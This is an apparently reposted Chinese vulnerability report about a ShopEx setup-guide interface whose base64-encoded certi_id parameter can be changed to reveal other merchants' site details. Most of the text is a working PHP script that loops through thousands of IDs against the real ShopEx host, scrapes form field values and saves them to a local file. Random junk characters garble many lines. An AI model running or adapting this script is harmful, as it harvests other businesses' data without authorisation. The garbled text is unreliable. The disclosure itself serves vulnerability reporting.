ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
, b& `7 n8 D* b问题出现在shopex 网店使用向导页面
# [" `/ w6 n) C& N% M* G5 K

& C5 F# k9 `6 G- {; r# W8 ?
4 |+ n7 o9 }8 C; u) T9 H" r1 I0 R3 fhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
2 _# B4 f  k1 e9 t! W- J
" g! R2 ~. V  `+ `& e' I
% i  q5 z$ @3 A2 |8 g# r4 w
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
8 m9 ~% E) F% D
4 @( g( h" O9 ?, w+ P! z4 e$ K
+ d* R! P: K1 Q' k
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
8 }9 M( K4 f- d  i9 M; {& M% a+ A1 k

/ P% W7 N* o+ S9 v
( G$ x0 v6 D, Z' ?<?php

                for ($i=1; $i < 10000; $i++) { //遍历
% |3 O3 W& H; ^' Y
( ?7 I% p" A  l% _3 x3 D8 h% d/ N5 q                        ShowshopExD($i);
+ d7 D4 D. v" D  M8 ?. J/ L
  g7 l: L6 \) g) d0 T8 l4 C: l                }
# t3 I  p/ C! b
                function ShowshopExD($cid) {
2 g2 |& G! G/ y' @5 @
6 t. F7 Q4 C: T* B: g9 n; g. m- M, H& G6 Y                $url='http://guide.ecos.shopex.cn/step2.php';
7 V' ~. K! @0 J" J) Y8 k
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
+ x  `' T/ Q8 d
        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);

3 q) C& G5 ]% \1 s6 w        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
" V: G: ]! f2 O9 ~# o- H- r
/ j8 w3 L  t2 r0 x) E& X$ L        $result = curl_exec($ch);

6 X% {# B0 |9 b# O: K        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

. {4 E" Z; j- e, J& ?; e: X5 ]        if(strpos($result,$refer))

" R& J  `  @' K9 c. y; z- p0 ]* W        {
3 Z' D8 ^( f& D1 A$ P  D
: }* v9 J9 t7 G, Z% u                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
6 m, [; v* l# h6 V
& T9 D' w+ Y2 C( I8 y  p( p3 u                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
8 Y' e: }8 y( X! ?) Y4 A7 ^
                foreach ($value[1] as $key) {

! C) x7 F- C/ V+ W) r                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";

# ^0 D/ ?& w- p5 [$ K" Q5 ]0 P                        $col =$res[1][0].':'.$res[3][0]."\r\n";
  J, i! T' q6 K' f8 d5 I+ z2 r
' z4 |$ g7 d* I7 E. U. B                        fwrite($fp, $col, strlen($col));

                }
4 [9 G1 Z! X+ c3 _- O3 I- p: A; h! _
) F% r9 R3 g) w! ^1 z0 y( ?                echo '--------------------------------'."\r\n";

: ]! i1 ?3 b8 `) G7 X& h% O                fclose($fp);
8 y: l- q) D; C! E4 ~* d
        }
8 K6 q7 h4 F* I. J% g
& F1 a1 X  E1 N) W' w        flush();
% {) H; Z5 K+ x5 s# h4 G) b/ N) @
# I4 N8 @7 ]# Z% @+ G; |        curl_close($ch);
) F5 p& j4 ]8 v  ]: a( N7 D
* j  t) O/ J  F                }

?>
# k1 }- r! h9 g0 V8 Y) E) A漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
+ @5 w' a& J( E/ M- U3 Y8 M6 @' }refer换成其他加密方式
+ \4 N8 M* W+ c# B- Y5 P: x